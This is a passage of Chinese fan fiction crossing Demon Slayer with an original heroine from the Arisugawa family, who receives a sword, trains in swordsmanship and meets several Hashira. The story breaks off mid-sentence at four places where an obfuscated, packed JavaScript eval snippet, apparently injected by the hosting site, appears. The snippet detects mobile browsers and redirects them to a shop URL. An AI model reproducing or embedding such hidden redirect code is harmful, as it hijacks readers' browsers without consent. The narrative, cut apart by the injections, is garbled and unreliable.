炼狱杏寿郎似乎可以察觉旁人的想法,至少他看出我的不解。但他并没有纠结我身为有栖川氏,却对鬼杀队的存在竟然是如此陌生,而是朗声重新自我介绍道:“我是鬼杀队的炎柱,炼狱杏寿郎。” 炎柱! 这是在我知识储备以外的词汇,我只能在炼狱先生的身上寻找与这个词汇相关的印记。他浑身上下都存在着火炎的象征,如果以此判断,身为“炎柱”也就没有那么让人奇怪了。 但是呢!那个鬼杀队啊,好歹有着数百人的规模不是吗?柱这种听起来就像内阁大臣的职级……我出神地盯着炼狱先生的脸庞,这张因为开朗表情削弱了气势上压迫感的脸,不管怎么看都只有二十几岁的样子!还有宇髓先生和富冈先生,看着也都在这个年龄上下。 “炎柱!”我重复着这个职名,想起曾经会频繁拜访兰德家的一些上了年纪的参议员,喃喃感叹道,“明明看着和我差不多岁数,也太厉害了吧!”疑惑没经过弯弯绕绕的思维曲折,而是脱口而出:“您多大了呀?” 炼狱先生眨眨眼。 糟糕!我立刻意识到自己情绪化的疏漏,将话题刹住,急忙为自己失礼的言辞道歉:“抱歉!冒犯了……请别介意!” 他哈哈大笑,毫无芥蒂,坦率地回答了我的问题:“我今年20岁了。”或许是看到我因为这个回答露出了竟然如此的表情,他解释道:“鬼杀队与别的地方不同。即使在柱之中,我也不算是年幼的。” 这么说,在鬼杀队中炼狱先生更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炼狱先生这会儿在吃日本馒头,那个真的太甜了,内陷黏糊糊的,与我在英国时尝过的华人制作的包子味道迥异,恰似两个物种。 “鬼是一种人类变成的生物。变成鬼后会不老不死,但身体都会出现一定程度的畸变,并且以人类的血肉为食。最强大的十二个鬼被称为‘十二鬼月’,拥有名为‘血鬼术’的异能。”炼狱先生将竹签放好,他闭上眼睛,于是我才发现他眼尾的睫毛长长挑起,“鬼被太阳照射就会死,畏惧紫藤花。或者用日轮刀砍下鬼的头也可以消灭它们。” 这听起来有些像吸血鬼了,我想起自己看过的《德古拉》,一个长着尖锐獠牙的类人恐怖形象跃然脑海。但那位女士……天啊,即使现在我也更倾向于称呼她为女士,她看起来并不像他们描述中的那样诡异…… “你很茫然。”这并不是问句,而是他通过自己的观察得出的结论。他一眨不眨地瞧着我,已经看透我强装镇定的外壳。但或许是因为他的气质使然,又或许是因为在这短短的交锋中我领略到他性格中宽容体贴的存在,即使被他做下定义,也并不会感到不适与尴尬。 我该承认的,我确实很茫然。 在那一夜后我感到人生变化,即使每天的日常并未改变,即使父母与外祖父的态度没有改变,即使白天没有改变,但我的意识能够为一切解释做证,那个夜晚清晰无比的记忆可以为一切假说辩证。并不是非要有什么天翻地覆的改变才能说明……至少近来每个夜晚,无声的低吟都在重复:想起来了吗?想起来了吧?当然想起来了,想起那个冰冷的夜晚,属于我血液的腥锈味正挤进鼻腔,从眼眶中滚出的泪珠比烈火还要烫。 我以为我已经好了。 但是噩梦没有放过我。 我说不出话,甚至感到喉头被某种情绪堵住。 “别担心,少女。”原本直视我的炼狱先生这会儿转向正前,漆黑的夜幕中没有一颗星辰闪烁,唯独皓月亮得炫目。他懂什么?他伸手拍拍我的肩膀。他什么都懂。这是我们之间第一个超出陌生距离的动作,在那一刻他掌心的温度短暂地熨帖我的灵魂,我不知道未来的自己会时刻怀念这种触觉。 但当我看向炼狱杏寿郎时,他只是对我笑起来,声音坚定,“不用感到害怕,未知是固定存在的。只要自己强大起来,这就不算什么!” 10. 夕追 仲夏很快过去,日子就到了六月,我还没玩遍整个东京,父亲和母亲就已经回来了。 没提前发电报来告知登岸的具体日子,得知消息时我还在西洋街上闲逛。过一段时日,我相处不错的那些小姐中有一位将过生日。这可不是什么小事!虽然外祖父已经告诉我他会替我备下符合礼数的礼物,但我还得再找找有没有什么别的有趣玩意儿。随行的侍从急匆匆快步来到我身边,附在我耳旁说道父亲和母亲已经到达港口——天啊!怎么这么突然?我顾不上别的,带着侍从跳上汽车,急忙回到有栖川家。 父亲母亲和外祖父都已经在了,他们跪坐在一间空旷些的和屋里,只放着一张矮矮的小几,几案上茶水冒着热气。 “父亲!母亲!”我笑着跑进和屋,扑进母亲怀里,被她自然地伸手搂住。母亲的手掌温柔有力地在我身上抚过,似乎正在检查我这些日子是否胖了或者瘦了。 不得不说,这些日子我过得实在太好了。外祖父并不严格要求我,对我的需求也颇放纵。时间一日一日过去,这种幸福感却越来越少,相反,像暴风雨来临前的寂静般,总让我担忧起之后…… 没寒暄几句,我就朝父亲讨要起我的礼物,父亲笑着从背后取出了那把长刀——我的嘴角抽动了一下——这刀看着太长了,恐怕只算那藏在鞘中的刀刃就该有一百多公分!? 看着这可以被归为大太刀的斩刀,我不知该作何反应,一时失语。 “考虑到你的速度和力量有所欠缺,依了妈妈的建议,将刀刃设计得很长。”父亲解释,将刀放在了面前。 “可这也太长了,父亲,”我嘟囔,试想一下,我要怎么拿着这柄刀出门? 废刀令颁布后,听说东京剑道最优秀的道馆都不再将日本刀展示在外!即使能用些办法掩人耳目,在人烟稀少处抽刀战斗……我想象了一下自己费劲抽刀的模样,却觉得依靠自己的手臂恐怕连挥刀都很难做到,“别在腰上就不说了,收起来也非常费劲。” 我皱起眉头,这可不是这些日子我心心念念想要的刀具。它不该那么长,哪怕外观低调一些也不算什么,但总该和外祖母的那柄刀一样帅气便利吧? “不必你亲自纳刀,亲爱的,”母亲看出我的情绪,摸摸我的脸,柔声道,“刀刃长一些可以增大攻击范围。” “或许我的女儿会乐意自己掂一掂。”父亲将刀推到我面前,仿佛是在推一块豆腐。 掂一掂?父亲在同我玩笑么?这把刀我能扛起来就不错了。 我将信将疑,但这柄崭新的刀正在地面上安静地向我发散出无声的吸引,这是“我的刀”,这个念头呼唤我伸出手去握住刀柄,柄身的纹路非常简单,没有缠裹棉布,只有简单的木制素体,摸起来有点儿像花梨瘿木之类的。 将刀从鞘中抽出时,并没有太大阻尼感,流畅得像是一段水淌过,而它的刀刃并不像传统的碳钢那样亮,反而有点儿磨砂的感觉,并不反光。在我使力抬手预备举起来时,意外的轻让我整个人后仰倒在地板上。 咦?这样的轻是真实存在的吗? “这是振金,吸音金属,如此轻巧却是地球上最坚硬的物质,”父亲快乐地看完我的笑话,在我轻快地翻身起来坐好时,才又一次解释,“能得到的全部的三分之一都在这里了。” 能得到的全部的三分之一竟然制造出这样一柄刀,我惊讶地看着它,伸手触摸刀身较厚的背部,摸起来就不是磨砂质感的,异常滑腻。我将刀拿在手上兴致勃勃地观摩起来。我 的表情太暴露我的小心思了,不够严肃认真,不那么谨慎,或许还有太显而易见的轻飘飘的欣喜,母亲叹一口气,将刀从我手中拿过,她的声音向来是温柔的,母亲总是这样,她比这世上任何一个人都容易溺爱我,但这会儿却神情严肃地按住我的手:“朝和,你应该知道我们为什么要为你做这把刀。” 但我并不明白母亲为何如此忧虑——或许因为每一个母亲的目光都是长远的,她所看到的是自己的孩子此刻之后的生活,而我——我什么都没想到,只着眼于现在这一秒钟的快乐:我拥有了属于自己的刀,这对我来说是一件好事。母亲应该为我高兴才对! 我浑然没有在意她语气中的与众不同,只是快乐地笑道:“我能保护自己。”我真的能保护自己,我真心这样认为。 “不只是这样,亲爱的,”母亲摇头,“你眼中的世界已经不一样了。” 我愣住,没有想到母亲会说这么一句话。 我曾是母亲怀里的小宝贝,不信什么鬼神,尚且不知世事如何艰难,也不在乎复杂的世界。然而今天我拿起这把刀后,现状会如粉尘般扑面而来,我所能做的只有承受。 我先前一直担心的暴风雨时期也果然降临了。为了能更快更好地与我的刀磨合,外祖父特意为我请了一位私人家教,是教习我更灵活地使用刀的老师。我并不必像母亲年幼的时候一样前去道场跟随老师学习,相反,在那天看过我的斩刀后,外祖父带着我去到小祠堂,在外祖母的画像前,亲自将外祖母那柄安放着的日轮刀拿下来,递向我。 我不知道从前日本的武士是怎样从长辈手中接过传承下的宝刀,但胸口正在汹涌的热让我伸出双手,日轮刀被轻轻放到我的掌心。一柄沉甸甸的、符合我对所有日本刀幻想的打刀,曾经在外祖母的手中斩杀过恶鬼,而现在这柄利刃在我手中安静地沉睡。 “外祖父?”我茫然地叫他。 他背过手,看着外祖母的画像,从前有几个时刻我深深感觉他已经老了,岁月流逝,不再年轻,但现在,他的背还是笔直地挺着,似乎穿越过岁月洪流,依旧是当初有栖川妍瑰面前堂皇的少年人。 他的声音那么厚重:“与鬼作战,还是需要日轮刀的。至于那把大太刀,就用作辅助吧。” “朝和,我把它交给你,你要好好地学。” 外祖父差人打扫了有栖川宅邸中那个小型的剑道训练室,有栖川的族人曾经世代在那里练习、对战,母亲嫁给父亲远渡重洋之外后,才被彻底空置。现在,那扇门为我开启。 “有栖川小姐,请集中注意力。” 我回过神,先生正板着脸将刀收鞘。武士们正经八百地将刀刃抹过鞘口,由刀尖滑入鞘中;有意思的是,他们并不直接将刀推进去,而是反过剑身,移鞘去接。 我不好意思地笑笑,学着他的样子将刀收进去。朴木制的刀鞘不容易磨损刀刃,挂在腰间也不觉得多费力气,学习常用的训练刀多为木制,即使选用的已经是克重较大的木料,与和钢制成的真刀相比还是轻多了,但与我的振金刀倒是差不多。 先生叹了一口气,讲道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613408|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才演示的是「拔即斩」,居合道的拔刀术。在近距离瞬间击杀敌人,讲究速度和角度,从上而下,斜向下刀。” 我点头,回想先生的演示,他出刀非常快,居合道讲究一击必杀,要求剑士瞬时拔刀制敌,可我达不到那样的速度。相反,如果用我的斩刀,也许我根本不用近距离攻击,在对方冲向我的时候就能高高挥起斜向斩下去,大太刀的攻击范围注定很难躲避,在击中的前提下怎么都得将对方劈成两半,不必过多考虑速度。 “「圆月」。也是居合道的一种,”先生不管我在想什么,左手扶鞘,右手握刀柄,一边说着一边演示,“当对方突然举刀冲过来时,你要迅速调整位置,与对方呈错开状,然后快速出刀,从外侧面斩下他的手臂。” 说罢,他利落地做出一个侧身的动作,刀刃斩下时只残留一片银白的余影,看清时先生已经在收刀入鞘。他望向再次出神的我,意味深长地补充了一句:“考验灵敏度。” 我:“……” 外祖父为我请来的剑道老师是个厉害的人物,在东京开办有一家剑道道馆,这家道馆已经继承非常多年了,母亲年幼时也曾在那里学习过剑道。 而先生,他曾经师从天然理心流,是一个相当出色的剑士,还受邀去教过皇室的某位亲王之子。在我的脚伤已经痊愈大半的情况下,外祖父请他来教我剑术。实际上从前母亲已经教过我非常多的剑术要领了,再往上一点,我也可以有所突破。 只不过我的确有一段时间没有练习,所以显得生疏了点;再加上我受的伤……站不出基本对战姿势也不能怪我吧? 剑道场空荡荡的,周围异常安静,连往常疲于在院子里啼鸣的伯劳这会儿都沉默了,先生与我面对面站立,他有典型的日本人面孔,眉眼处线条收紧,下巴是平的,所以看起来很严肃……对,看起来。 “朝和小姐,还有五分钟结束这堂课,让我看看您这节课学到了多少。” 我左脚前踏一步,拔刀举在右侧摆出迎敌的姿态——简直不近人情,我的膝关节还没好全呢。先生一手握刀柄,虽然他的动作闲适自然,但姿态并不漫不经心,看来他打算使一击必杀的技能了。 只听他沉沉地嚯了一声,我往前虚冲出两步,先生迅速拔刀架成横向向我冲来——肋斩!握刀的双手飞快在空中划出半圈,木刀没有锋利的刀刃,刀身撞在一起时清脆无比,让人总忧心它会否就这样断了。 我后退两步,他太凶狠了,一点也不收力,撞得我的手腕像要断了一样发麻! 然而这还不算完,先生显然不打算就这样放过我,疾速举刀斩下来,我急忙抬刀去挡,他提刀往下一个假动作,我慢半拍地跟着放刀去格挡……就在这时,先生的手腕突然急迅地小转个弯,等我反应过来时,刀已经稳当地架在我脖子旁了。 “太慢了,有栖川小姐,”先生调侃道,“在想心上人么?” ……这老不正经的! 我不作声,在先生收回刀刃准备纳刀时猛地右脚跺地飞起向他踹出一脚以放开距离,先生反应极快地举起刀,下一秒又飞快地冲上来。哼,老路子!我急速放刀在空中假意去攻击他的脖子,先生迅捷地向我的刀直直砍下来,我立即侧身挥刀,塌腰下斩。 “太慢了,先生,”我得意地昂头,“在想心上人么?” 11. 当屋 父亲要在两天后去会见鬼杀队的首领,连外祖父都恭恭敬敬地称他「主公大人」——啊,我想起来了,那位宇髓先生曾说外祖母与这位主公大人交情不错。与外祖父结婚后,她退出了鬼杀队,但有栖川家一直作为强大的后备力量支撑着。 外祖母是一个自尊心极强的女人,但她也会同外祖父一样,恭敬地称他主公大人。为什么外祖母愿意以家族的名义为鬼杀队带去便利呢?我很好奇,究竟是怎样厉害的人物能组建起如此强大的队伍。 于是我央求父亲带我同去。 父亲同意了,唯一的要求是我得穿上和服。主公大人是位非常传统的日本人,不穿和服便去拜访可能是不太合礼数的。 主公大人所住的府邸在群山深处,我和父亲坐了足有几个小时汽车,也还未到达所谓的目的地。我不知道路途如此遥远,汽车在一处已经鲜有人烟的山林前无法再前进时,一个穿着特殊衣物的人出现了。他自称鬼杀队“隐”的成员,前来为我们引路。 道路曲曲折折的,山雾把原始森林笼罩成白花花的一片,以惊人的速度浮动着。 我们大概行了三四英里的山路,这里可没有什么能用的交通工具,供以行走的道路也非常简单,甚至没有铺上石板,周围杂草遍布,将它掩藏起来。 我喘着粗气,穿着高齿的木屐走泥泞的山路实在非常费劲,拉着父亲的衣角问道:“为什么主公大人要把府邸修建在这种地方……队员上下山太不容易了。” 父亲笑了笑,没有说话。 倒是隐的队员向我解释:“这是为了隐藏鬼杀队的踪迹,尤其是主公大人。” 我大约明白这用意何在了,鬼杀队寻找着鬼,那么或许鬼也在寻找着鬼杀队。但这实在是太辛苦了,当那位隐的队员表示可以背我时,我连忙摆手摇头,断然拒绝,咬着牙坚持自己走。 不过很快,我终于可以看见一道长长的夯土墙,墙体不高,一直延伸到视线尽处。再往前就被一道竹编篱笆墙截断。在竹墙前几英尺就是府邸的大门。 “是有栖川家的兰德先生来了。” 宅邸门前正并排候着两个女孩子,长相非常相似,都是七八岁的样子,一个黑发一个白发。父亲同她们打过招呼,开始询问鬼杀队的近况。她们一边回答一边引路,言行有度且举止得体。让我吃惊的是她们的态度,比起同龄人更成熟而疏离。 在父亲问起主公大人的身体如何时,其中那位黑发女童说主公大人近来身体状况不佳。父亲听罢点头,不再说什么,仿佛是意料之中的事,随后与她们介绍了我,那时我们已经走到了堂前。 那是一间异常开阔的和屋,里头什么也没有放置,空荡荡的,推门都敞着,这会儿日头正盛,阳光也只半落在廊上。不过我们并没有站上去,而是等候在廊下铺满石头的空地上。 父亲轻声地再三叮嘱我要向主公大人行礼——当然,我会的,我会的。我伸出手想去安慰父亲,叫他别那么紧张,毕竟我连女王陛下都见过不是么? 这时一句话音终结了等待。 “主公大人驾到。”两个几乎一样的稚嫩的童声叠在一起响起,紧跟着木屐一步一缓踩到木质地板上,地板因为受到重力所以发出的清脆的「踏、踏」的声音。 父亲拍拍我的脊背,朝来人微微鞠躬以示尊敬;事实上我甚至都没来得及看清他长什么样子,只是跟着父亲的节奏,双手交叉叠放在胯间,向前轻轻弯腰行礼。 “早上好,兰德先生。”主公大人如是说,他的声音——真奇怪,我不知道怎么形容,但他声音听起来极其温柔,我满脑子想着礼仪礼仪礼仪,都没敢抬头去看,可他的声音传进耳朵里时,叫我的思维都轻飘飘地飞起来,“今天天气真不错,不是吗?” 父亲被请到室内与主公大人做进一步的谈话,是关于公事什么的。我不清楚,于是留在廊上等待。 主公大人家是那种完全传统的宅邸,毕竟建造在山上,占据的面积很是宽广,比外祖父家后方的和屋要大得多。围绕主屋的长长游廊一直延伸到另一头,前后院子都各有造景,中间还有一方漂亮的池塘。但这时节炎热的空气仿佛停滞了,我的和服下摆的睡莲和蜿蜒的烟雾印花在太阳的炙烤下浮动,四周只闻得到灌木丛的味道。 “你要玩翻花绳吗?” 两只小手拉拉我的袖子,我回神去看,黑发小女孩举起双手伸到我面前,长细的红色棉绳结成小小的梁式桥——这两人正是刚才在门口迎接我和父亲的那两个女孩儿。太奇怪了,她们和刚才扶主公大人出来的两个小朋友长得一模一样。就是似乎年幼一丁点儿? 我指指她手里的绳子:“这个,要怎么玩?” 两个小朋友望了望彼此,露出怀疑的表情,然后一起望向我。如果往无礼的地方想,简直像在说“你在讲些什么鬼话呢”。我两手摊开,表示真的不会。黑发女孩转过身,把手伸到白发的面前:“彼方,你玩给她看。” 叫彼方的孩子伸出拇指和食指扣住红绳交叉处,往下翻时越过下方的线,两手拖住线往两边轻轻拉,红绳结成了一张网。她双手举到我面前。 “会了吗?” “呃……”我当然看清了她的动作,叫我复制一遍也在所不辞,不过……“可是这个新的又该怎么翻呢?” 向上帝发誓,我是诚心发问。但是面对真的很疑惑的我,两个小朋友一齐露出了鄙视的表情。 我学了有一会儿,甚至还能翻出新花样,辉利哉夸我孺子可教——辉利哉是黑发女孩儿的名字,但不知是不是我太过敏感,总觉得这个名字与面前稚嫩可爱的女童有些不搭——她表示要收回刚刚鄙视的眼神。 我们在一起玩了有好一阵,老天,一根绳子有什么好玩的,但是我就是玩了一下午,还是和两个跟我年纪差了快一轮的小朋友。 “翻不了这个,重新开始吧。”我对已经走入死胡同的红绳表示惋惜。 “呀,在玩翻花绳呢。”一个清灵的声音响起。 但我的意识还沉浸在游戏中,对外界的变化毫无所觉,只下意识应答道:“嗯。” 等等…… 我惊悚地转过身把两个小朋友护在身后,我被吓到了,没有武器带在身边实在不是什么好主意。 但这会儿我终于看清了,说话的是个看起来同我差不多大的女孩,她的头发梳起,垂在脸侧的鬓发末端呈现出紫色,脑后装饰着蝴蝶发饰,身上穿着绘有蝶翅图案的羽织,羽织下则是无比眼熟的制服。 她正站在廊下微微笑着,双手背在身后,上身前倾做出关注的样子,一双紫色的眼睛雾蒙蒙的;彼方和辉利哉低头叫了一声虫柱大人。 又叫了一声水柱大人。这下我才看到她身后还有一个男人,站在离我们大约四五米远的地方,再后退一步就要落进池塘里了。 ——是那位富冈先生……他怎么看起来很不合群的样子? “这位是虫柱胡蝶忍大人,那位是水柱富冈义勇大人。”辉利哉贴心地为我介绍道。 我会意地跳下走廊,朝两人恭恭敬敬地弯腰行礼:“两位柱大人贵安,我是有栖川朝和。” “你是有栖川家的孩子。”胡蝶忍笑得眼睛眯起来。 “是的。”我回答。 胡蝶忍点点头,也颔首向我说了一句贵安。 然后相对无话。 ……啊,饶了我吧,我的脸都要笑僵了。虽然胡蝶忍大人看起来非常好相处,但是气氛实在有些尴尬。我的眼神飘忽到唯一有些熟识的富冈义勇身上……嗯,好吧,委屈您了,富冈先生! 我故作惊喜地小跑到富冈先生面前,感激地握住他的手,仰头叹道:“原来我还能再见到您,富冈先生!请恕我冒昧,今日终于再次见到您了,请一定要接受我发自内心对您的感激!您的英勇之举救下了我的性命;另外我还要为那天冲动顶撞您的鲁莽行为道歉,您能接受我的道歉么?” 很显然,富冈义勇对我突然冲向他并疯狂感激的行为感到无所适从,非常困惑地眯起眼睛,大概是我突如其来的巨大反差将他吓到了。 胡蝶忍的目光投向富冈先生,她有点不清楚状况,但还是善意提醒:“……富冈先生不说点什么吗?” 他盯着我,自觉沉默也无用,于是非常勉强地点点头:“嗯……” 我迅速张开握住人手的手指,退后几步:“很好,那我也原谅富冈先生那天把我扛在肩上,差点把我的胃颠出来。” 富冈义勇显得更困惑了,我拐弯抹角的态度让他直来直往的世界受到了点儿冲击,被我握过的手半天没能从半空放下去。 但胡蝶忍显然看出了端倪,噗嗤一声笑出来,她笑起来时非常和善,只不过总是如此温和的人,应该会难以分清她的笑容之后会不会还有另一副表情。 我退到胡蝶忍的身边,她很自然地同我攀谈起来,似乎让富冈先生感到困惑这件事让她觉得心情不错。不过我还是坚持很违心地夸赞了是富冈先生救下了我,低着头显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洗漱后换上隐的成员为我们准备的衣物,我一直在想着这件事。父亲简单为我解释了主公大人的身体状况,表示那是疾病带来的后遗症。我……我庆幸自己没有在看清时露出异样的表情,不然太失礼了。 可夜半我总想起这件事,翻来覆去睡不着。不如继续拿着剩下的半包鱼饵去喂鱼好了。我这样想,于是披上父亲的外套就出去了。 夜晚格外清凉,月光像蛇的尾巴轻轻拍打在水面上,水体像无边的玻璃瓶子堆在一起,我的眼前浮起一层清冷的薄雾,草叶尖上也滴着雾水。 上山时我想象中主公大人或许该是一个英勇、强大的剑士,现实却截然不同,主公大人看起来很是羸弱,但他说话时温和、沉稳,待人处事也相当有礼,父亲很尊重他,我能看出来他是一个非常优秀的领袖。能够管理数百人规模的鬼杀队,一定有着相当卓越的能力。 不知为何我感到有些难过…… “有栖川小姐?你怎么在这里。” 轻飘飘的声音突然响起,惊醒我的情绪,也将此夜的沉寂打破。 忍小姐真的很擅长像这样突然出现吓人一跳呢…… “我睡不着,就出来喂鱼了。”我讪讪地笑一声,瞅见她即使在晚上也穿戴整齐,感到很好奇,“忍小姐这是要去哪里?” “主公委派了我和富冈先生去那田蜘蛛山执行任务,”胡蝶小姐笑笑,“正好在今晚就和有栖川小姐告别了,山里的夜凉,有栖川小姐要注意保暖噢。” 忍小姐和富冈先生都去得很急,不过也情有可原,身为柱大人必定会很忙。 我与她道别,随后在塘边坐到了半夜,灌木角落偶尔传来青蛙的叫声,仿佛隔着水雾飘浮在空气中,我难得不觉得恼人,日近三更才回了客房,裹着父亲的大衣将就着草草睡了一晚,睡梦里硬邦邦的地板隔着床褥侵扰着我浅薄的梦,将微凉的气息贴近我僵硬的脊背,我当然也没有睡好。 第二日,辉利哉和彼方送我们到大门,十分温顺地朝我和父亲鞠了一躬以示道别。我也回礼,悄悄朝她们眨眼睛,毕竟我们的翻花绳交情还是非常深呢。清晨的水汽更厚了一些,山腰的云雾简直像要砸下来。 临行前辉利哉偷塞给我一根细长的黑绳,我第二次见她露出孩子气的神情竟是在这种时候。 身为主公大人的孩子,她一定活得比别的孩子更努力和辛苦。 我蹲下来,谢谢她的花绳,并祝她快乐安康。 12. 夜色之下 最近几天的剑术课上,先生对我刮目相看,有栖川家的小小姐让他吃了点苦头,这话说出去可不够光彩。 我的训练时间安排得很紧凑,通常都在早上,先生总是先我半个钟到达道场准备。不过与之前不同,他彻底收起那些老不正经的言语,连上课也比从前更认真些,看来他确实意识到了我不是什么好惹的人。 但由于我的速度和力量远不能让我成为什么更加厉害的剑士,他便因材施教地换了教学方法,决定教我一些更加实用的招式来配合那柄斩刀。先生绝非大众印象中那种鲁莽的武士,对于剑道中诸多流派他似乎都有涉猎,各种招式的应对也都能指点一二。 我学得很快,这种进步能带来相当快乐的自豪感,即使挥刀已经让我手臂的肌肉酸涩不已,也没能打消我上课的热情。甚至迫不及待想要有个机会展现一下近来的学习成果。 可惜也有令人悲伤的事——我没能逃过礼仪课。 “正是礼仪松散,才叫你性子这么随意。”母亲如是说。日子数着数着已经过去许久,我都已经全然不在意了,她还是在后怕那晚的事。新来的礼仪教师是位将近五十岁的、叫枝子的中年女性,她曾是昭宪皇太后身边的女官,出身华族,无论礼仪仪态还是学识见解都相当优秀,论道政治也有自己的独到见解。 而且据说枝子女士还曾替昭宪皇太后教导过维新时期那些新兴臣僚的夫人们——明治维新时兴起的大佬多是应运而起的低级武士(不乏有泼皮无赖),作为这些新贵族的妻子们自然身份低下,大多更是出身华族瞧不起的花柳巷——昭宪皇太后派遣女官开办“桃夭女墅”,专门教导聪慧的新贵妇们。 枝子女士就曾任职其中,多年来的经验使她独有一套教导的方式,且见识过人,但相当严格。 祖父在周末时会放我一天假,让我久违地想起读书的时候。 做贵族小姐着实不容易,但能暂且腾出一天做点自己喜欢的事也是很好的,所以我又和小麻雀们见面了。 我在家养伤时就常常收到她们的来信和慰问品,她们听说我在剧院那天遇到“强盗”后都快吓死了,见到我就迎上来叽叽喳喳地说些什么,让我这双还不太习惯日语的耳朵简直要罢工了。 高桥氏还要更夸张一些,她甚至没了仪态,紧张兮兮地上前摸了摸我。但我身上本也没有什么伤,腿上的伤也终于彻底好了,我牵着她打了个转示意自己的健康,她这才松了口气,带着哭腔说您平安无事真是太好了。 我们在小花园里坐着喝咖啡聊天,说到斋藤小姐近日将过二十岁生辰,想在城中的酒馆举办生日派对。那个酒馆坐落于靠近吉原的地区,因着大名鼎鼎的吉原,那一片都是差不多的生态,白日里空无一人的荒僻,但天上一拉起幕布,灯火便引着人流热闹起来。 枝子女士曾经和那些出身花街的夫人们熟识,她教导她们学习礼仪、文学,甚至政治,让她们接受新式教育。她和我说起吉原的历史时不带一丝鄙夷,眼神中往往是庞大的悲哀。我对吉原的好奇便这样叠加着。 然而,想想看,二十岁的生日宴会,穿着端庄的和服端坐在小茶桌前,目不转睛地看着艺伎弹三味线,听她们咿咿呀呀地唱歌儿,就算是上帝也会在这种时刻睡着。我在咖啡里又加了一颗冰糖,单手托头,心不在焉地用勺子搅了搅。小麻雀们扑棱棱地扇着翅膀飞到我身边问我的意见——啊,我还能怎么说呢? “好呢,我会准时到的。”我友善地歪歪头,嘬了一口咖啡,连着拒绝的话一起咽下去。当然,我最后还得是那个温柔又好相处的有栖川小小姐呀。 母亲听说我又要去参加会宴,无奈又担心地叹一口气,念叨着年轻人总是如此,年轻人总是如此。我拉着母亲的手腕摇摇晃晃,向母亲撒娇,保证这次绝不会乱跑了,再不济,肖恩(Shawn)会与我同行,他会看着不让我乱跑的。 我说得信誓旦旦,但母亲还是没有立刻同意,所以我在接下来的两天内非常努力地煽动先生和枝子女士帮我在母亲面前说好话,装出一副可怜兮兮的样子,仿佛自己是只被囚在鸟笼里的金丝雀,这下连父亲也觉得母亲保护我太过了。 我又去找外祖父撒了一番娇,外祖父笑着说起母亲年轻的时候,剑道课结束后带着训练用的木剑在回家路上“英雄救美”的事迹,母亲这才终于松了口,只不过要我承诺让肖恩寸步不离地跟在我身边。 肖恩是父亲特意为我从本家带来的保镖,我从前也见过他,但没怎么说过话,他总是忠诚地跟随在父亲身后两三步的位置,无论父亲对他诉说什么、吩咐什么,他都一副不假辞色的样子,冷漠又严肃。他站在原地一动不动的样子简直像个雕塑,我甚至怀疑他的身子是钢铁做的,不然怎么会浑身都冷冰冰的,隔着几米远也能感受到冷意。 跟着一起来的还有女仆嘉泽乐(Gazelle)。她和肖比起来就更厉害了,按常理来说一个正常的侍女应该是优雅地走在走廊里,俯下身温柔地询问主人的意愿,然后顺从地完成命令。 然而嘉泽乐……每天早上“唰”的一声动作利落地拉开窗帘,好让清晨的第一缕阳光照进我的房间,而我还在梦中就被这巨响吓得一抖。 “早安小姐,您该起床了~”她会先柔和地叫我第一声,再更加柔和地叫我第二声,若我依旧毫无反应,下一秒她就会像拔花园里凌乱的野草一样把我直接从床上拉起来。 你以为我是如何做到每天早起参加剑道课的?! 现在大约是晚上六点,嘉泽乐忙活了两个小时,整个人都要掉进衣柜里了。除了喜欢“迫害”我,她还总是很乐意为我搭配新衣服,我随父亲参加的宴会不少,许多礼服穿了一次就被压箱底,追赶潮流就是这么浪费,这次正好翻出来再穿一穿。 嘉泽乐递给我一件银白亮色的坠流苏短上衣,随后又搭了一条丝绸面料的白色阔腿裤——嗯,美式风格?应该再搭一件……我如是想,就接过了她递过来的灰色貂皮披肩。 ……好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613410|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,我还没来得及将“披肩”这个词说出口呢,不过没人会怀疑嘉泽乐的眼光,我满意地出了门。肖恩为我打开车门,酒馆离府邸有些距离,所以我要尽量早些出门。太阳将将要落下,正半挂在地平线上,此刻接近黄昏,日光像一团混浊的液体,湿答答地附着在我的脸上。 “你拿着刀会觉得重么?” 肖恩开车很稳,然而最近总是开得很慢,至低多少码就开多少码。我不知道原因,也许是因为被枝子女士教训了要“端庄”地开车,不允许带坏小姐?嗐,这木头四舍五入同我一起上礼仪课了,枝子女士的礼仪课可是很昂贵的。 “不重,请放心。如果小姐有危险,我会第一时间赶到的。”肖恩的回答果然一板一眼。 